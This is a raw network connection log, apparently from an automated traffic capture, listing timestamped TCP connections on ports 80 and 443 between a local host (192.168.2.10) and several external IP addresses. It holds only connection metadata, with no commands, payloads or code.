Jan 10, 2025 21:49:36.144839048 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.145153999 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.145165920 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.145217896 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.151127100 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.151223898 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.216963053 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.217097998 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.217108965 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.217154026 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.217164040 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.217230082 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.217237949 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.217283010 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.217351913 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.217433929 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.223220110 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.223288059 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.223309994 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.223387003 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.228446960 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.228657007 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.228672028 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.228801012 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.235296965 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.235673904 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.235686064 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.236465931 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.240850925 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.240927935 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.240935087 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.241008043 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.247128963 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.247215986 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.247227907 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.247328997 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.253957033 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.254015923 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.254029989 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.254092932 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.259279966 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.259362936 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.259459019 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.259736061 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.265326023 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.265400887 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.265420914 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.265543938 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.271157026 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.271219969 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.271265030 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.271348953 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.276952028 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.277045012 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.285849094 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.285923004 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.285981894 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.286092997 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328594923 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328669071 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328679085 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328722000 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328753948 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328757048 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328757048 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328766108 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328808069 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328810930 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328823090 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328865051 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328876019 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328921080 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328921080 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.328927994 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.328974962 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.329478025 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.329528093 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.329552889 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.329569101 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.329569101 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.329579115 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.329631090 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.329631090 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.330243111 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.330307007 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.330315113 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.330441952 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.330652952 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.330738068 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.330744982 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.330806971 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.333223104 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.333329916 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.333342075 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.333411932 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.337862015 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.337966919 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.337979078 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.338184118 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.342502117 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.342581987 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.342595100 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.342648029 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.347074986 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.347155094 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.347167969 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.347237110 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.351713896 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.352170944 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.352179050 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.352263927 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.356373072 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.356518030 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.356527090 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.357148886 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.360817909 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.360877991 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.360887051 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.360943079 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.364903927 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.365011930 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.365031958 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.365039110 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.365092993 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.365101099 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.365101099 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.365145922 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.365150928 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.365174055 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.365174055 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.365200043 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.876157045 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:36.880964994 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:36.881041050 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:36.881314039 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:36.886044979 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:37.634546041 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:37.639211893 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:37.644088984 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:37.852782965 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:37.908297062 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:38.188102007 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.188141108 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.188222885 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.190416098 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.190428972 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.652432919 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.652893066 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.659071922 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.659097910 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.659421921 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.663583040 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.707326889 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.827826023 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.827904940 CET	443	49977	104.21.48.1	192.168.2.10
Jan 10, 2025 21:49:38.827986956 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:38.834160089 CET	49977	443	192.168.2.10	104.21.48.1
Jan 10, 2025 21:49:44.428966045 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:44.433934927 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:44.642702103 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:44.662699938 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:44.662827015 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:44.662913084 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:44.663357973 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:44.663398027 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:44.690985918 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:45.274847984 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.274979115 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:45.276825905 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:45.276856899 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.277340889 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.278877974 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:45.319330931 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.319478035 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:45.319495916 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.583923101 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.584028006 CET	443	49978	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:45.584084034 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:45.584497929 CET	49978	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:45.766088009 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:45.767180920 CET	49979	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:45.771229982 CET	80	49975	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:45.771286011 CET	49975	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:45.771956921 CET	80	49979	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:45.772026062 CET	49979	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:45.772128105 CET	49979	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:45.776863098 CET	80	49979	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:46.463574886 CET	80	49979	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:46.464889050 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:46.465012074 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:46.465101004 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:46.465688944 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:46.465730906 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:46.517683029 CET	49979	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:47.106666088 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:47.108452082 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:47.108519077 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:47.108603954 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:47.108624935 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:47.504343033 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:47.504441977 CET	443	49980	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:47.504525900 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:47.504929066 CET	49980	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:47.509071112 CET	49981	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:47.513972044 CET	80	49981	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:47.514053106 CET	49981	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:47.514292002 CET	49981	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:47.519069910 CET	80	49981	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:48.209731102 CET	80	49981	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:48.211169958 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:48.211210966 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:48.211303949 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:48.211601973 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:48.211621046 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:48.252312899 CET	49981	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:48.852735996 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:48.854520082 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:48.854563951 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:48.854633093 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:48.854643106 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:49.126115084 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:49.173930883 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:49.173959970 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:49.174422979 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:49.174660921 CET	443	49982	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:49.174729109 CET	49982	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:49.177884102 CET	49981	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:49.178682089 CET	49983	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:49.188538074 CET	80	49981	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:49.188553095 CET	80	49983	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:49.188601971 CET	49981	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:49.188636065 CET	49983	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:49.188750982 CET	49983	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:49.197149038 CET	80	49983	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:49.880873919 CET	80	49983	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:49.882328033 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:49.882381916 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:49.882457972 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:49.882725954 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:49.882738113 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:49.923954010 CET	49983	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:50.503163099 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:50.503247976 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:50.504724026 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:50.504744053 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:50.505089045 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:50.506258011 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:50.551335096 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:50.551506042 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:50.551518917 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:51.017607927 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:51.017713070 CET	443	49984	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:51.017853022 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:51.018155098 CET	49984	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:51.021409035 CET	49983	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:51.022605896 CET	49985	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:51.026372910 CET	80	49983	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:51.026434898 CET	49983	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:51.027384043 CET	80	49985	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:51.027446985 CET	49985	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:51.027573109 CET	49985	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:51.032603025 CET	80	49985	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:51.715744019 CET	80	49985	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:51.717181921 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:51.717236042 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:51.717497110 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:51.717643976 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:51.717655897 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:51.767767906 CET	49985	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:52.411951065 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:52.415889025 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:52.415914059 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:52.416064024 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:52.416069031 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:52.723428965 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:52.723526955 CET	443	49986	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:52.723572016 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:52.723999977 CET	49986	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:52.727448940 CET	49985	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:52.728758097 CET	49987	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:52.732455969 CET	80	49985	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:52.732515097 CET	49985	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:52.733581066 CET	80	49987	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:52.733645916 CET	49987	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:52.733783007 CET	49987	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:52.738493919 CET	80	49987	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:53.412630081 CET	80	49987	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:53.414124012 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:53.414180040 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:53.414289951 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:53.414592981 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:53.414603949 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:53.455267906 CET	49987	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:54.041780949 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:54.043653965 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:54.043689013 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:54.043776035 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:54.043783903 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:54.402046919 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:54.402240992 CET	443	49988	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:54.402333021 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:54.402972937 CET	49988	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:54.406312943 CET	49987	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:54.407541990 CET	49989	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:54.411353111 CET	80	49987	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:54.411427975 CET	49987	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:54.412369967 CET	80	49989	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:54.412436962 CET	49989	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:54.412559986 CET	49989	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:54.417331934 CET	80	49989	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:55.110183954 CET	80	49989	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:55.111717939 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:55.111754894 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:55.111809969 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:55.112095118 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:55.112106085 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:55.158374071 CET	49989	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:55.719187021 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:55.721061945 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:55.721091032 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:55.721137047 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:55.721144915 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:56.022344112 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:56.022547007 CET	443	49990	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:56.022665024 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:56.023159981 CET	49990	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:56.026231050 CET	49989	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:56.027239084 CET	49991	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:56.031157017 CET	80	49989	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:56.031331062 CET	49989	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:56.032005072 CET	80	49991	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:56.035278082 CET	49991	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:56.035412073 CET	49991	80	192.168.2.10	132.226.247.73
Jan 10, 2025 21:49:56.040132046 CET	80	49991	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:56.707268000 CET	80	49991	132.226.247.73	192.168.2.10
Jan 10, 2025 21:49:56.711644888 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:56.711661100 CET	443	49992	149.154.167.220	192.168.2.10
Jan 10, 2025 21:49:56.711803913 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:56.712075949 CET	49992	443	192.168.2.10	149.154.167.220
Jan 10, 2025 21:49:56.712091923 CET	443	49992	149.154.167.220	192.168.2.10
